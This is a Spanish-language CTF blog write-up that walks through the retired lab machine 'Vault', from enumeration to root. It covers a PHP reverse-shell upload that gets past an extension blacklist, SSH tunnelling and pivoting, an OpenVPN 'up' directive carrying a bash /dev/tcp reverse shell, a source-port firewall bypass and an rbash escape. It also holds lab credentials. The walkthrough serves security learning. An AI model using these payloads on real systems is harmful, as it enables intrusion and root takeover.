Esta es la resolución de la máquina Vault que ya ha sido retirada de las máquinas activas.

Es una máquina que me gustó bastante porque tenemos que ir avanzando por otras máquinas sobre las que vamos encontrando información de forma gradual y nos presenta nuevas técnicas que no conocía. Por eso he decidido traerlo al blog.

“ubuntu” 10.10.10.109

Enumeración

Como siempre, comenzamos con un escaneo de puertos para ver que servicios hay disponibles en la máquina y a partir de ahí elegir qué camino seguir.

nmap -sC -sV -Pn -oN nmap/initial.scan 10.10.10.109
Nmap scan report for 10.10.10.109
Host is up (0.076s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
|   256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
|_  256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

Vemos que hay un servicio SSH en el puerto habitual y por la versión podemos saber que la máquina es un Ubuntu 16.04 (Xenial). Además, existe un servidor HTTP Apache también en el puerto habitual. Para seguir recabando más información acerca de la máquina, decidimos seguir enumerando a través del puerto 80.

Si visitamos el sitio web nos encontramos con un mensaje de bienvenida con información que nos puede ser de ayuda, por ejemplo, el nombre del cliente “Sparklays”.

Antes de comenzar a escanear directorios del sitio web con alguna herramienta, podemos comprobar si existe algún directorio relacionado con alguna palabra clave que aparezca en la web de bienvenida. Podemos hacerlo a mano o simplemente añadir las palabras al diccionario que vayamos a usar con una herramienta como Cewl.

En este caso, simplemente haré peticiones HEAD con curl de los directorios que crea que pueden ser interesantes. Vemos que al hacer la petición al directorio /sparklays recibimos un código 301, es decir, se nos redirige a otra página.

curl -I http://10.10.10.109/sparklays
HTTP/1.1 301 Moved Permanently
Date: Sat, 06 Apr 2019 15:34:07 GMT
Server: Apache/2.4.18 (Ubuntu)
Location: http://10.10.10.109/sparklays/
Content-Type: text/html; charset=iso-8859-1

Ahora que tenemos algo de información extra, haremos uso de algún escáner de directorios para ver si encontramos otros directorios interesantes. En este caso, hago uso de gobuster, tomando como directorio raíz /sparklays.

gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirb/common.txt
Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.109/sparklays/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 302,307,200,204,301
=====================================================
/admin.php (Status: 200)
/design (Status: 301)
=====================================================

Encontramos un portal de identificación (admin.php) y otro directorio (design) que nos devuelve un código 301. En principio, podemos probar y ver si el login es vulnerable (en este caso no lo es), por ejemplo, a inyecciones SQL o podemos optar por enumerar el directorio design.

Si continuamos enumerando con gobuster, encontramos el directorio uploads.

gobuster -u  http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirb/common.txt
Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.109/sparklays/design/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/uploads (Status: 301)
=====================================================

En un primer escaneo del directorio /uploads, no encontré nada, pero por el nombre del directorio podemos suponer que debe haber un portal que nos permita subir algún archivo. Realizamos otro escaneo pero esta vez añadimos las extensiones .html y .php.

gobuster -u  http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirb/common.txt -x html,php
Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.109/sparklays/design/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307
[+] Extensions   : .html,.php
=====================================================
/design.html (Status: 200)
=====================================================

Si accedemos a design.html, nos da la opción de subir un archivo para cambiar nuestro logo.

Explotación

Dado que se nos permite subir archivos al servidor para, teóricamente, cambiar nuestro logo, podemos intentar subir un archivo que contenga una reverse shell y tener así acceso al interior de la máquina.

En este caso, usaré la reverse shell en PHP de pentestmonkey y la subiré al servidor con el nombre php-reverse-shell.php.

Como podemos leer, se nos dice que el tipo de nuestro archivo no está permitido, por tanto, debemos suponer que se está llevando a cabo algún tipo de filtrado, por ejemplo, podría estar comprobando la extensión de nuestro ficheros para ver si pertenecen a una lista negra.

Si seguimos probando extensiones, al final lograremos subir nuestra shell con la extensión php5.

Podemos localizar y ejecutar nuestro archivo en el directorio uploads. Obtenemos una terminal con usuario www-data.

Post-Explotación

En esta fase trataremos de encontrar información que nos pueda resultar útil para seguir avanzando. Encontramos los directorios personales de dos usuarios, alex y dave.

En el escritorio del usuario dave encontramos algo de información. Un archivo con las direcciones IP de otras máquinas, una key, y unas credenciales para SSH.

Las IPs de otras máquinas nos pueden sugerir que tenemos que pivotar a otros equipos y las credenciales son para acceder a la máquina en la que estamos situados con el usuario dave. La key no tendrá uso (por ahora).

Dado que tenemos otras máquinas podemos hacer un escaneo de puertos rápidamente desde la máquina para ver si tienen algún servicio interesante. Dado que no tenemos nmap en la máquina comprometida, podemos hacerlo simplemente con netcat.

dave@ubuntu:~$ nc -zv 192.168.122.4 1-200
[ . . . ]
Connection to 192.168.122.4 22 port [tcp/ssh] succeeded!
Connection to 192.168.122.4 80 port [tcp/http] succeeded!
[ . . . ]

Descubrimos los puertos 22 y 80 de la máquina DNS. Para poder examinar los servicios cómodamente, redireccionamos el puerto 80 mediante un túnel SSH para poder acceder desde nuestra máquina.

ssh -L 8000:192.168.122.4:80 dave@10.10.10.109

De esta forma, accediendo a localhost:8000 podremos ver el servicio http de la máquina DNS.

“DNS” 192.168.122.4

Enumeración

De igual forma, usamos gobuster para enumerar los directorios del servidor web.

gobuster -u http://127.0.0.1:8000/ -w /usr/share/wordlists/dirb/common.txt 
Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://127.0.0.1:8000/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 302,307,200,204,301
=====================================================
/index.php (Status: 200)
/notes (Status: 200)
=====================================================

Como podemos ver se trata de un portal que nos permite hacer algunas modificaciones en el servidor DNS y probar configuraciones VPN.

Desde vpnconfig.php podemos incluir una configuración para modificar un archivo .ovpn y probar nuestra conexión.

Como información adicional, en /notes vemos que los permisos que se le dan al archivo .ovpn y al script que prueba dicha configuración son 777. Además, si examinamos el archivo script.sh situado en el directorio raíz vemos que el script se ejecuta con sudo. Si conseguimos colar una reverse shell, obtendríamos una sesión con usuario root.

#!/bin/bash
sudo openvpn 123.ovpn

Explotación

Si investigamos un poco sobre los archivos de configuración y como explotarlos de alguna forma dada nuestra situación podemos ver que es posible obtener una revese shell, más información.

remote 192.168.122.1
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
nobind
up "/bin/bash -c '/bin/bash -i &> /dev/tcp/192.168.122.1/1337 0>&1'"

Introducimos la configuración, la guardamos y pulsamos “Test VPN”. Obtenemos una sesión con el usuario root.

Obtenemos el user.txt

Post-Explotación

Si recordamos, en la máquina inicial se nos daba a conocer la existencia de dos máquinas más, además de en la que estamos actualmente, por tanto, puede que tengamos que pivotar a alguna de estas máquinas.

Examinando los ficheros de la máquina podemos ver en el fichero hosts que la máquina “Vault” tiene asignada la IP 192.168.5.2.

Además de esto, en el escritorio del usuario dave, encontramos de nuevo unas credenciales para acceder por SSH (dave : dav3gerous567) . Accediendo por SSH obtendremos una terminal más estable y aunque tengamos una cuenta con menos privilegios podemos cambiar al usuario root cuando queramos con sudo su.

Tras una larga enumeración del equipo sin encontrar gran cosa, damos con el fichero auth.log que guarda la información de acceso al sistema que nos brinda la información que necesitamos para encadenar los últimos pasos.

En unas entradas del log encontramos que el día 2 de septiembre se usa nmap y ncat sobre Vault:

Sep  2 15:07:51 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f
Sep  2 15:10:20 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53

Tenemos la herramienta nmap disponible en la máquina asi que vamos a hacer un escaneo rápido de “Vault” para ver qué nos ofrece el puerto 987, al cual se accede en la segunda entrada del log.

root@DNS:/home/dave# nmap -Pn -p987 192.168.5.2
Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-06 19:29 BST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault (192.168.5.2)
Host is up.
PORT    STATE    SERVICE
987/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 2.08 seconds

Vemos que aparece como puerto filtrado, sin embargo, suponemos, que el usuario pudo acceder en su momento. ¿Cómo puede ser esto?.

Como vemos en el log, nmap se usa indicando como puerto fuente el puerto 4444 y ncat se usa desde el puerto 53.

root@DNS:/home/dave# nmap -p987 192.168.5.2 --source-port=4444
Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-06 19:35 BST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault (192.168.5.2)
Host is up (0.0043s latency).
PORT    STATE SERVICE
987/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.48 seconds
root@DNS:/home/dave# nmap -p987 192.168.5.2 --source-port=53
Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-06 19:35 BST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault (192.168.5.2)
Host is up (0.0035s latency).
PORT    STATE SERVICE
987/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds

Como hemos comprobado, Vault nos abre el puerto si las conexiones salen del puerto 53 o el puerto 4444.

“Vault” 192.168.5.2

Obteniendo acceso

Ahora que hemos entendido el filtrado de las conexiones que realiza la tercera máquina, vamos a intentar acceder imitando lo que hizo la víctima el día 2 de septiembre.

ncat -l 1337 --sh-exec "ncat 192.168.5.2 987 -p 53"

Es decir, vamos a poner a escuchar el puerto 1337 de la máquina DNS y se dispará una conexión desde el puerto 53 al puerto 987 de la máquina Vault.

Conectándonos al puerto 1337 de DNS con SSH nos permite conectarnos a Vault con el mismo usuario (dave : dav3gerous567).

root.txt.gpg

Cuando creemos que hemos terminado y vamos en busca del fichero root.txt, vemos que el fichero está cifrado usando PGP.

Que no cunda el pánico, si hacemos memoria podemos recordar que dejamos algo apartado porque no nos sirvió en su momento. Me refiero al fichero key que encontramos en la máquina inicial y que contenía itscominghome.

Además, estamos “atrapados” en una terminal restringida (rbash), la cual no nos permite ejecutar ciertos comandos y además no puede contener “/”. Podemos escapar fácilmente ejecutando, por ejemplo, bash.

dave@vault:~$ echo $SHELL
/bin/rbash

Para desencriptar dicho archivo, tendremos que llevarlo de vuelta a la máquina inicial. Este proceso lo podemos realizar usando scp o podemos convertir el archivo root.txt.gpg a base32 (ya que base64 no está disponible en Vault), copiarlo a la máquina inicial y decodificarlo, devolviéndolo a su estado original.

Finalmente, desencriptamos usando itscominghome como passphrase y obtenemos el root.txt.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *